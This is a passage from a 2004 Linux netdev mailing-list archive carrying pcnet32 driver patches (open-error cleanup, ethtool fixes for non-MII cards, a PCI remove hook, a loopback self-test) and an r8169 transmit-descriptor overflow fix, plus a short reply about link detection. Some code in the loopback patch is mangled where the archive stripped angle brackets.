netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev If there are errors in the open routine, the driver does not correctly clean up and free resources. This also removes an unnecessary netif_wake_queue, correctly supports the debug parameter, and updates the version and date. --- linux-2.4.25/drivers/net/tool.pcnet32.c Thu Feb 19 16:17:21 2004 +++ linux-2.4.25/drivers/net/pcnet32.c Fri Feb 20 10:45:30 2004 @@ -22,8 +22,8 @@ *************************************************************************/ #define DRV_NAME "pcnet32" -#define DRV_VERSION "1.27a" -#define DRV_RELDATE "10.02.2002" +#define DRV_VERSION "1.28" +#define DRV_RELDATE "02.20.2004" #define PFX DRV_NAME ": " static const char *version = @@ -218,6 +218,11 @@ * fix pci probe not increment cards_found * FD auto negotiate error workaround for xSeries250 * clean up and using new mii module + * v1.28 20 Feb 2004 Don Fry + * Jon Lewis , Chinmay Albal + * Now uses ethtool_ops, netif_msg_* and generic_mii_ioctl. + * Fixes bogus 'Bus master arbitration failure', pci_[un]map_single + * length errors, and transmit hangs. Cleans up after errors in open. */ @@ -638,8 +643,10 @@ chip_version = a->read_csr(ioaddr, 88) | (a->read_csr(ioaddr,89) << 16); if (pcnet32_debug & NETIF_MSG_PROBE) printk(KERN_INFO " PCnet chip version is %#x.\n", chip_version); - if ((chip_version & 0xfff) != 0x003) + if ((chip_version & 0xfff) != 0x003) { + printk(KERN_INFO PFX "Unsupported chip version.\n"); return -ENODEV; + } /* initialize variables */ fdx = mii = fset = dxsuflo = ltint = 0; @@ -720,8 +727,10 @@ } dev = alloc_etherdev(0); - if(!dev) + if (!dev) { + printk(KERN_ERR PFX "Memory allocation failed.\n"); return -ENOMEM; + } printk(KERN_INFO PFX "%s at %#3lx,", chipname, ioaddr); @@ -794,6 +803,7 @@ /* pci_alloc_consistent returns page-aligned memory, so we do not have to check the alignment */ if ((lp = pci_alloc_consistent(pdev, sizeof(*lp), &lp_dma_addr)) == NULL) { + printk(KERN_ERR PFX "Consistent memory allocation failed.\n"); release_region(ioaddr, PCNET32_TOTAL_SIZE); return -ENOMEM; } @@ -915,6 +925,7 @@ unsigned long ioaddr = dev->base_addr; u16 val; int i; + int rc; if (dev->irq == 0 || request_irq(dev->irq, &pcnet32_interrupt, @@ -923,8 +934,10 @@ } /* Check for a valid station address */ - if( !is_valid_ether_addr(dev->dev_addr) ) - return -EINVAL; + if (!is_valid_ether_addr(dev->dev_addr)) { + rc = -EINVAL; + goto err_free_irq; + } /* Reset the PCNET32 */ lp->a.reset (ioaddr); @@ -998,8 +1011,10 @@ lp->init_block.mode = le16_to_cpu((lp->options & PCNET32_PORT_PORTSEL) << 7); lp->init_block.filter[0] = 0x00000000; lp->init_block.filter[1] = 0x00000000; - if (pcnet32_init_ring(dev)) - return -ENOMEM; + if (pcnet32_init_ring(dev)) { + rc = -ENOMEM; + goto err_free_ring; + } /* Re-initialize the PCNET32, and start it when done. */ lp->a.write_csr (ioaddr, 1, (lp->dma_addr + offsetof(struct pcnet32_private, init_block)) &0xffff); @@ -1029,6 +1044,28 @@ MOD_INC_USE_COUNT; return 0; /* Always succeed */ + +err_free_ring: + /* free any allocated skbuffs */ + for (i = 0; i < RX_RING_SIZE; i++) { + lp->rx_ring[i].status = 0; + if (lp->rx_skbuff[i]) { + pci_unmap_single(lp->pci_dev, lp->rx_dma_addr[i], PKT_BUF_SZ-2, + PCI_DMA_FROMDEVICE); + dev_kfree_skb(lp->rx_skbuff[i]); + } + lp->rx_skbuff[i] = NULL; + lp->rx_dma_addr[i] = 0; + } + /* + * Switch back to 16bit mode to avoid problems with dumb + * DOS packet driver after a warm reboot + */ + lp->a.write_bcr (ioaddr, 20, 4); + +err_free_irq: + free_irq(dev->irq, dev); + return rc; } /* @@ -1097,6 +1134,7 @@ lp->tx_ring[i].status = 0; lp->tx_dma_addr[i] = 0; } + wmb(); /* Make sure all changes are visible */ lp->init_block.tlen_rlen = le16_to_cpu(TX_RING_LEN_BITS | RX_RING_LEN_BITS); for (i = 0; i < 6; i++) @@ -1223,9 +1261,7 @@ dev->trans_start = jiffies; - if (lp->tx_ring[(entry+1) & TX_RING_MOD_MASK].base == 0) - netif_wake_queue(dev); - else { + if (lp->tx_ring[(entry+1) & TX_RING_MOD_MASK].base != 0) { lp->tx_full = 1; netif_stop_queue(dev); } @@ -1479,6 +1515,7 @@ * of QNX reports that some revs of the 79C965 clear it. */ lp->rx_ring[entry].buf_length = le16_to_cpu(2-PKT_BUF_SZ); + wmb(); /* Make sure owner changes after all others are visible */ lp->rx_ring[entry].status |= le16_to_cpu(0x8000); entry = (++lp->cur_rx) & RX_RING_MOD_MASK; } @@ -1678,7 +1715,7 @@ }; MODULE_PARM(debug, "i"); -MODULE_PARM_DESC(debug, DRV_NAME " debug level (0-6)"); +MODULE_PARM_DESC(debug, DRV_NAME " debug level"); MODULE_PARM(max_interrupt_work, "i"); MODULE_PARM_DESC(max_interrupt_work, DRV_NAME " maximum events handled per interrupt"); MODULE_PARM(rx_copybreak, "i"); @@ -1705,8 +1742,8 @@ { printk(KERN_INFO "%s", version); - if (debug > 0) - pcnet32_debug = debug; + if (debug >= 0 && debug < (sizeof(int) - 1)) + pcnet32_debug = 1 << debug; if ((tx_start_pt >= 0) && (tx_start_pt <= 3)) tx_start = tx_start_pt; -- Don Fry brazilnut@us.ibm.com From brazilnut@us.ibm.com Fri Feb 20 16:29:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 20 Feb 2004 16:29:04 -0800 (PST) Received: from e2.ny.us.ibm.com (e2.ny.us.ibm.com [32.97.182.102]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1L0SxKO004312 for ; Fri, 20 Feb 2004 16:28:59 -0800 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e2.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1L0Sq6s423430; Fri, 20 Feb 2004 19:28:52 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1L0Sp6v128454; Fri, 20 Feb 2004 19:28:51 -0500 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i1L0Rnx07520; Fri, 20 Feb 2004 16:27:49 -0800 From: Don Fry Message-Id: <200402210027.i1L0Rnx07520@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 2.4.25] pcnet32.c non-mii errors with ethtool To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Fri, 20 Feb 2004 16:27:49 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3469 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev pcnet32 devices which do not contain an mii respond incorrectly to ethtool commands. Reported by VANDROVE@vc.cvut.cz and Thomas Munck Steenholdt. --- linux-2.4.25/drivers/net/clean.pcnet32.c Fri Feb 20 12:05:10 2004 +++ linux-2.4.25/drivers/net/pcnet32.c Fri Feb 20 16:18:37 2004 @@ -469,25 +469,31 @@ static int pcnet32_get_settings(struct net_device *dev, struct ethtool_cmd *cmd) { - struct pcnet32_private *lp = dev->priv; - unsigned long flags; + struct pcnet32_private *lp = dev->priv; + unsigned long flags; + int r = -EOPNOTSUPP; + if (lp->mii) { spin_lock_irqsave(&lp->lock, flags); mii_ethtool_gset(&lp->mii_if, cmd); spin_unlock_irqrestore(&lp->lock, flags); - return 0; + r = 0; + } + return r; } static int pcnet32_set_settings(struct net_device *dev, struct ethtool_cmd *cmd) { - struct pcnet32_private *lp = dev->priv; - unsigned long flags; - int r; + struct pcnet32_private *lp = dev->priv; + unsigned long flags; + int r = -EOPNOTSUPP; + if (lp->mii) { spin_lock_irqsave(&lp->lock, flags); r = mii_ethtool_sset(&lp->mii_if, cmd); spin_unlock_irqrestore(&lp->lock, flags); - return r; + } + return r; } static void pcnet32_get_drvinfo(struct net_device *dev, struct ethtool_drvinfo *info) @@ -504,14 +510,16 @@ static u32 pcnet32_get_link(struct net_device *dev) { - struct pcnet32_private *lp = dev->priv; - unsigned long flags; - int r; + struct pcnet32_private *lp = dev->priv; + unsigned long flags; + int r = 1; + if (lp->mii) { spin_lock_irqsave(&lp->lock, flags); r = mii_link_ok(&lp->mii_if); spin_unlock_irqrestore(&lp->lock, flags); - return r; + } + return r; } static u32 pcnet32_get_msglevel(struct net_device *dev) @@ -528,14 +536,16 @@ static int pcnet32_nway_reset(struct net_device *dev) { - struct pcnet32_private *lp = dev->priv; - unsigned long flags; - int r; + struct pcnet32_private *lp = dev->priv; + unsigned long flags; + int r = -EOPNOTSUPP; + if (lp->mii) { spin_lock_irqsave(&lp->lock, flags); r = mii_nway_restart(&lp->mii_if); spin_unlock_irqrestore(&lp->lock, flags); - return r; + } + return r; } static void pcnet32_get_ringparam(struct net_device *dev, struct ethtool_ringparam *ering) -- Don Fry brazilnut@us.ibm.com From brazilnut@us.ibm.com Fri Feb 20 16:45:07 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 20 Feb 2004 16:45:17 -0800 (PST) Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1L0j7KO004951 for ; Fri, 20 Feb 2004 16:45:07 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e35.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1L0ivF4499390; Fri, 20 Feb 2004 19:44:57 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1L0iuDC150294; Fri, 20 Feb 2004 17:44:56 -0700 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i1L0hsL07547; Fri, 20 Feb 2004 16:43:54 -0800 From: Don Fry Message-Id: <200402210043.i1L0hsL07547@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 2.6.3] pcnet32.c fix compile error To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Fri, 20 Feb 2004 16:43:54 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3470 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev Arrgh. I sent the wrong diff file. This one fixes the compile error I introduced ;-( --- linux-2.6.3/drivers/net/arrgh.pcnet32.c Fri Feb 20 16:39:22 2004 +++ linux-2.6.3/drivers/net/pcnet32.c Fri Feb 20 15:52:32 2004 @@ -1518,7 +1518,7 @@ rap = lp->a.read_rap(ioaddr); while ((csr0 = lp->a.read_csr (ioaddr, 0)) & 0x8600 && --boguscnt >= 0) { - if (csr == 0xffff) { + if (csr0 == 0xffff) { break; /* PCMCIA remove happened */ } /* Acknowledge all of the current interrupt sources ASAP. */ -- Don Fry brazilnut@us.ibm.com From brazilnut@us.ibm.com Fri Feb 20 16:58:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 20 Feb 2004 16:58:15 -0800 (PST) Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1L0w7KO005366 for ; Fri, 20 Feb 2004 16:58:08 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e31.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1L0w0ba493276; Fri, 20 Feb 2004 19:58:00 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1L0vxDC202444; Fri, 20 Feb 2004 17:57:59 -0700 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i1L0uvH07572; Fri, 20 Feb 2004 16:56:57 -0800 From: Don Fry Message-Id: <200402210056.i1L0uvH07572@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 2.4.25] pcnet32.c add .remove to pci_driver To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Fri, 20 Feb 2004 16:56:57 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3471 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev Adds .remove function in pci_device structure. Tested in IA32. The driver has also been checked to comply with PCMCIA/cardbus remove requirements, but as I don't have a PCMCIA card, it is untested. If a PCMCIA card is removed, reads will return FFFF. The FFFF will cause all while loops to exit. --- linux-2.4.25/drivers/net/mii.pcnet32.c Fri Feb 20 16:26:20 2004 +++ linux-2.4.25/drivers/net/pcnet32.c Fri Feb 20 16:51:42 2004 @@ -917,8 +917,12 @@ dev->tx_timeout = pcnet32_tx_timeout; dev->watchdog_timeo = (5*HZ); - lp->next = pcnet32_dev; - pcnet32_dev = dev; + if (pdev) { + pci_set_drvdata(pdev, dev); + } else { + lp->next = pcnet32_dev; + pcnet32_dev = dev; + } /* Fill in the generic fields of the device structure. */ register_netdev(dev); @@ -1303,6 +1307,9 @@ rap = lp->a.read_rap(ioaddr); while ((csr0 = lp->a.read_csr (ioaddr, 0)) & 0x8600 && --boguscnt >= 0) { + if (csr0 == 0xffff) { + break; /* PCMCIA remove happened */ + } /* Acknowledge all of the current interrupt sources ASAP. */ lp->a.write_csr (ioaddr, 0, csr0 & ~0x004f); @@ -1720,9 +1727,25 @@ return rc; } +static void __devexit pcnet32_remove_one(struct pci_dev *pdev) +{ + struct net_device *dev = pci_get_drvdata(pdev); + + if (dev) { + struct pcnet32_private *lp = dev->priv; + + unregister_netdev(dev); + release_region(dev->base_addr, PCNET32_TOTAL_SIZE); + pci_free_consistent(lp->pci_dev, sizeof(*lp), lp, lp->dma_addr); + free_netdev(dev); + pci_set_drvdata(pdev, NULL); + } +} + static struct pci_driver pcnet32_driver = { .name = DRV_NAME, .probe = pcnet32_probe_pci, + .remove = __devexit_p(pcnet32_remove_one), .id_table = pcnet32_pci_tbl, }; -- Don Fry brazilnut@us.ibm.com From brazilnut@us.ibm.com Fri Feb 20 17:07:25 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 20 Feb 2004 17:07:32 -0800 (PST) Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1L17PKO005804 for ; Fri, 20 Feb 2004 17:07:25 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e35.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1L17HF4234650; Fri, 20 Feb 2004 20:07:18 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1L17GDC119732; Fri, 20 Feb 2004 18:07:17 -0700 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i1L16FR07593; Fri, 20 Feb 2004 17:06:15 -0800 From: Don Fry Message-Id: <200402210106.i1L16FR07593@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 2.4.25] pcnet32.c adds loopback test To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Fri, 20 Feb 2004 17:06:14 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3472 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev This adds the ability to do a local loopback test for the adapter. This source was submitted by James Lewis . Tested on IA32. --- linux-2.4.25/drivers/net/pci.pcnet32.c Fri Feb 20 16:56:52 2004 +++ linux-2.4.25/drivers/net/pcnet32.c Fri Feb 20 17:03:20 2004 @@ -126,6 +126,11 @@ PCNET32_PORT_ASEL /* 15 not supported */ }; +static const char pcnet32_gstrings_test[][ETH_GSTRING_LEN] = { + "Loopback test (offline)" +}; +#define PCNET32_TEST_LEN (sizeof(pcnet32_gstrings_test) / ETH_GSTRING_LEN) + #define MAX_UNITS 8 /* More are supported, limit only on options */ static int options[MAX_UNITS]; static int full_duplex[MAX_UNITS]; @@ -348,6 +353,10 @@ static int pcnet32_ioctl(struct net_device *, struct ifreq *, int); static int mdio_read(struct net_device *dev, int phy_id, int reg_num); static void mdio_write(struct net_device *dev, int phy_id, int reg_num, int val); +static void pcnet32_restart(struct net_device *dev, unsigned int csr0_bits); +static void pcnet32_ethtool_test(struct net_device *dev, + struct ethtool_test *eth_test, u64 *data); +static int pcnet32_loopback_test(struct net_device *dev, uint64_t *data1); enum pci_flags_bit { PCI_USES_IO=1, PCI_USES_MEM=2, PCI_USES_MASTER=4, @@ -558,17 +567,175 @@ ering->rx_pending = lp->cur_rx & RX_RING_MOD_MASK; } +static void pcnet32_get_strings(struct net_device *dev, u32 stringset, u8 *data) +{ + memcpy(data, pcnet32_gstrings_test, sizeof(pcnet32_gstrings_test)); +} + +static int pcnet32_self_test_count(struct net_device *dev) +{ + return PCNET32_TEST_LEN; +} + +static void pcnet32_ethtool_test(struct net_device *dev, + struct ethtool_test *test, u64 *data) +{ + struct pcnet32_private *lp = dev->priv; + int rc; + + if (test->flags == ETH_TEST_FL_OFFLINE) { + rc = pcnet32_loopback_test(dev, data); + if (rc) { + if (netif_msg_hw(lp)) + printk(KERN_DEBUG "%s: Loopback test failed.\n", dev->name); + test->flags |= ETH_TEST_FL_FAILED; + } else if (netif_msg_hw(lp)) + printk(KERN_DEBUG "%s: Loopback test passed.\n", dev->name); + } else + printk(KERN_DEBUG "%s: No tests to run (specify 'Offline' on ethtool).", dev->name); +} /* end pcnet32_ethtool_test */ + +static int pcnet32_loopback_test(struct net_device *dev, uint64_t *data1) +{ + struct pcnet32_private *lp = dev->priv; + struct pcnet32_access *a = &lp->a; /* access to registers */ + ulong ioaddr = dev->base_addr; /* card base I/O address */ + struct sk_buff *skb; /* sk buff */ + int x, y, i; /* counters */ + int numbuffs = 4; /* number of TX/RX buffers and descs */ + u16 status = 0x8300; /* TX ring status */ + int rc; /* return code */ + int size; /* size of packets */ + unsigned char *packet; /* source packet data */ + static int data_len = 60; /* length of source packets */ + unsigned long flags; + + *data1 = 1; /* status of test, default to fail */ + rc = 1; /* default to fail */ + + spin_lock_irqsave(&lp->lock, flags); + lp->a.write_csr(ioaddr, 0, 0x7904); + + netif_stop_queue(dev); + + /* purge & init rings but don't actually restart */ + pcnet32_restart(dev, 0x0000); + + lp->a.write_csr(ioaddr, 0, 0x0004); /* Set STOP bit */ + + x = a->read_bcr(ioaddr, 32); /* set internal loopback in BSR32 */ + x = x | 0x00000002; + a->write_bcr(ioaddr, 32, x); + + /* Initialize Transmit buffers. */ + size = data_len + 15; + for (x=0; xname, __LINE__); + goto clean_up; + } else { + packet = skb->data; + skb_put(skb, size); /* create space for data */ + lp->tx_skbuff[x] = skb; + lp->tx_ring[x].length = le16_to_cpu(-skb->len); + lp->tx_ring[x].misc = 0x00000000; + + /* put DA and SA into the skb */ + for (i=0; i<12; i++) + *packet++ = 0xff; + /* type */ + *packet++ = 0x08; + *packet++ = 0x06; + /* packet number */ + *packet++ = x; + /* fill packet with data */ + for (y=0; ytx_dma_addr[x] = pci_map_single(lp->pci_dev, skb->data, + skb->len, PCI_DMA_TODEVICE); + lp->tx_ring[x].base = (u32)le32_to_cpu(lp->tx_dma_addr[x]); + wmb(); /* Make sure owner changes after all others are visible */ + lp->tx_ring[x].status = le16_to_cpu(status); + } + } + + lp->a.write_csr(ioaddr, 0, 0x0002); /* Set STRT bit */ + spin_unlock_irqrestore(&lp->lock, flags); + + mdelay(50); /* wait a bit */ + + spin_lock_irqsave(&lp->lock, flags); + lp->a.write_csr(ioaddr, 0, 0x0004); /* Set STOP bit */ + + if (netif_msg_hw(lp) && netif_msg_pktdata(lp)) { + printk(KERN_DEBUG "%s: RX loopback packets:\n", dev->name); + + for (x=0; xname, x); + skb=lp->rx_skbuff[x]; + for (i=0; idata+i)); + } + printk("\n"); + } + } + + x = 0; + rc = 0; + while (xrx_skbuff[x]; + packet = lp->tx_skbuff[x]->data; + for (i=0; idata+i) != packet[i]) { + if (netif_msg_hw(lp)) + printk(KERN_DEBUG "%s: Error in compare! %2x - %02x %02x\n", + dev->name, i, *(skb->data+i), packet[i]); + rc = 1; + break; + } + } + x++; + } + if (!rc) { + *data1 = 0; + } + +clean_up: + x = a->read_csr(ioaddr, 15) & 0xFFFF; + a->write_csr(ioaddr, 15, (x & ~0x0044)); /* reset bits 6 and 2 */ + + x = a->read_bcr(ioaddr, 32); /* reset internal loopback */ + x = x & ~0x00000002; + a->write_bcr(ioaddr, 32, x); + + pcnet32_restart(dev, 0x0042); /* resume normal operation */ + + netif_wake_queue(dev); + + /* Clear interrupts, and set interrupt enable. */ + lp->a.write_csr(ioaddr, 0, 0x7940); + spin_unlock_irqrestore(&lp->lock, flags); + + return(rc); +} /* end pcnet32_loopback_test */ + static struct ethtool_ops pcnet32_ethtool_ops = { - .get_settings = pcnet32_get_settings, - .set_settings = pcnet32_set_settings, - .get_drvinfo = pcnet32_get_drvinfo, - .get_msglevel = pcnet32_get_msglevel, - .set_msglevel = pcnet32_set_msglevel, - .nway_reset = pcnet32_nway_reset, - .get_link = pcnet32_get_link, - .get_ringparam = pcnet32_get_ringparam, - .get_tx_csum = ethtool_op_get_tx_csum, - .get_sg = ethtool_op_get_sg, + .get_settings = pcnet32_get_settings, + .set_settings = pcnet32_set_settings, + .get_drvinfo = pcnet32_get_drvinfo, + .get_msglevel = pcnet32_get_msglevel, + .set_msglevel = pcnet32_set_msglevel, + .nway_reset = pcnet32_nway_reset, + .get_link = pcnet32_get_link, + .get_ringparam = pcnet32_get_ringparam, + .get_tx_csum = ethtool_op_get_tx_csum, + .get_sg = ethtool_op_get_sg, + .get_strings = pcnet32_get_strings, + .self_test_count = pcnet32_self_test_count, + .self_test = pcnet32_ethtool_test, }; /* only probes for non-PCI devices, the rest are handled by -- Don Fry brazilnut@us.ibm.com From tmus@tmus.dk Fri Feb 20 23:57:33 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 20 Feb 2004 23:57:37 -0800 (PST) Received: from pasmtp.tele.dk (pasmtp.tele.dk [193.162.159.95]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1L7vMKO012891 for ; Fri, 20 Feb 2004 23:57:23 -0800 Received: from mail.tmus.dk (cpe.atm0-0-0-1561101.0x50a0a16e.albnxx5.customer.tele.dk [80.160.161.110]) by pasmtp.tele.dk (Postfix) with ESMTP id 39A7D1EC39D for ; Sat, 21 Feb 2004 08:27:40 +0100 (CET) Received: from tmus.dk (dyn-192-168-1-20.tmus.dk [192.168.1.20]) by mail.tmus.dk (Postfix) with ESMTP id 4B505F8139 for ; Sat, 21 Feb 2004 08:27:56 +0100 (CET) Message-ID: <40370869.1040304@tmus.dk> Date: Sat, 21 Feb 2004 08:27:37 +0100 From: Thomas Munck Steenholdt User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113 X-Accept-Language: en-us, en, da MIME-Version: 1.0 To: netdev@oss.sgi.com Subject: Re: [PATCH] 2.6.3 pcnet32.c fix link reporting for non-mii devices Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3473 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: tmus@tmus.dk Precedence: bulk X-list: netdev Don Fry wrote: > Thomas, > > Thanks for the input. I am the unofficial maintainer, sort of. I don't > have a card without an mii, so I can't test some of the changes. Do > you know of a way to determine the link state so I can correctly return > the state? > > By the way, are you running 2.4 or 2.6? > > This patch was made against 2.6.3 but it seems that at least Linus' kernel tree has been pretty much untouched for at least a little while, so i think it'll patch very nicely against some of the newer 2.4 kernels. If you can test my patch on som NICs with mii and it works I guess it's okay! The only NIC that doesn't have mii that I have personaly experience with is the virtual device found in VMware. Thats also the one I used to test the patch and it works fine. Perhaps check this comment posted to a redhat kernel bug for info: https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=100527#c5 The guy suggests taking a peek at the LED status register to figure out if there's a link or not. However I have no idea if that will work for the VMware NIC anyway and that's the reason for doing it the way I did! Thomas From romieu@fr.zoreil.com Sat Feb 21 05:44:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 21 Feb 2004 05:44:44 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1LDiYKO025316 for ; Sat, 21 Feb 2004 05:44:35 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i1LDh5gf003585; Sat, 21 Feb 2004 14:43:05 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i1LDh4fO003584; Sat, 21 Feb 2004 14:43:04 +0100 Date: Sat, 21 Feb 2004 14:43:04 +0100 From: Francois Romieu To: Jeff Garzik Cc: netdev@oss.sgi.com, Linux Kernel Mailinglist , Daniel Egger Subject: Re: [PATCH] Re: rtl8169 problem and 2.4.23 Message-ID: <20040221144304.A3230@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="7AUc2qLy4jB3hD7Z" Content-Disposition: inline User-Agent: Mutt/1.2.5.1i X-archive-position: 3474 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev --7AUc2qLy4jB3hD7Z Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Jeff, can you push the attached patch directly to both 2.6.x and 2.4.x ? It will exhibit an offset of 3 lines against 2.4.x but it works the same on 2.4.x and on 2.6.x. The fix already exists in -mm/-netdev serie. Daniel Egger confirmed I did not manage to add a giant typo in a 4 lines patch. When hit, this bug is more or less a killer. Daniel, I have no clear idea for the performance issues. Actually I am more concerned with the stability side of this driver, especially in the new, shamelessly hacked, branch of the driver. I'll probably regenerate a set of patches and spam^W reach the testers to have a new data point. -- Ueimor --7AUc2qLy4jB3hD7Z Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="r8169-tx-desc-overflow.patch" Assume tp->dirty_tx = NUM_TX_DESC/2, tp->cur_tx = NUM_TX_DESC - 1, watch "entry" go beyond NUM_TX_DESC. This bug was copied from the (2.6.x only) sis190 driver where it is now fixed. Stats are fixed as an extra bonus. diff -Nrup drivers/net/r8169.c.orig drivers/net/r8169.c --- drivers/net/r8169.c.orig Thu Dec 18 03:58:50 2003 +++ drivers/net/r8169.c Sat Feb 21 14:11:31 2004 @@ -871,7 +871,6 @@ rtl8169_tx_interrupt(struct net_device * void *ioaddr) { unsigned long dirty_tx, tx_left = 0; - int entry = tp->cur_tx % NUM_TX_DESC; assert(dev != NULL); assert(tp != NULL); @@ -881,14 +880,18 @@ rtl8169_tx_interrupt(struct net_device * tx_left = tp->cur_tx - dirty_tx; while (tx_left > 0) { + int entry = dirty_tx % NUM_TX_DESC; + if ((tp->TxDescArray[entry].status & OWNbit) == 0) { - dev_kfree_skb_irq(tp-> - Tx_skbuff[dirty_tx % NUM_TX_DESC]); - tp->Tx_skbuff[dirty_tx % NUM_TX_DESC] = NULL; + struct sk_buff *skb = tp->Tx_skbuff[entry]; + + tp->stats.tx_bytes += skb->len >= ETH_ZLEN ? + skb->len : ETH_ZLEN; tp->stats.tx_packets++; + dev_kfree_skb_irq(skb); + tp->Tx_skbuff[entry] = NULL; dirty_tx++; tx_left--; - entry++; } } --7AUc2qLy4jB3hD7Z-- From xx13@mail.ru Sat Feb 21 06:58:37 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 21 Feb 2004 06:58:41 -0800 (PST) Received: from mx4.mail.ru (fallback.mail.ru [194.67.57.14]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1LEwPKO026727 for ; Sat, 21 Feb 2004 06:58:26 -0800 Received: from f17.mail.ru (f17.mail.ru [194.67.57.47]) by mx4.mail.ru (mPOP.Fallback_MX) with ESMTP id 6455AEE30B for ; Sat, 21 Feb 2004 13:19:23 +0300 (MSK) Received: from mail by f17.mail.ru with local id 1AuUDE-000Nx5-00; Sat, 21 Feb 2004 13:18:20 +0300 Received: from [213.243.162.64] by msg.mail.ru with HTTP; Sat, 21 Feb 2004 13:18:20 +0300 From: =?koi8-r?Q?=22=E1=CE=C1=D4=CF=CC=C9=CA=20=F7=C5=D2=C8=CF=D7=D3=CB=C9=CA=22=20?= To: netdev@oss.sgi.com Cc: c-d.hailfinger.kernel.2004@gmx.net 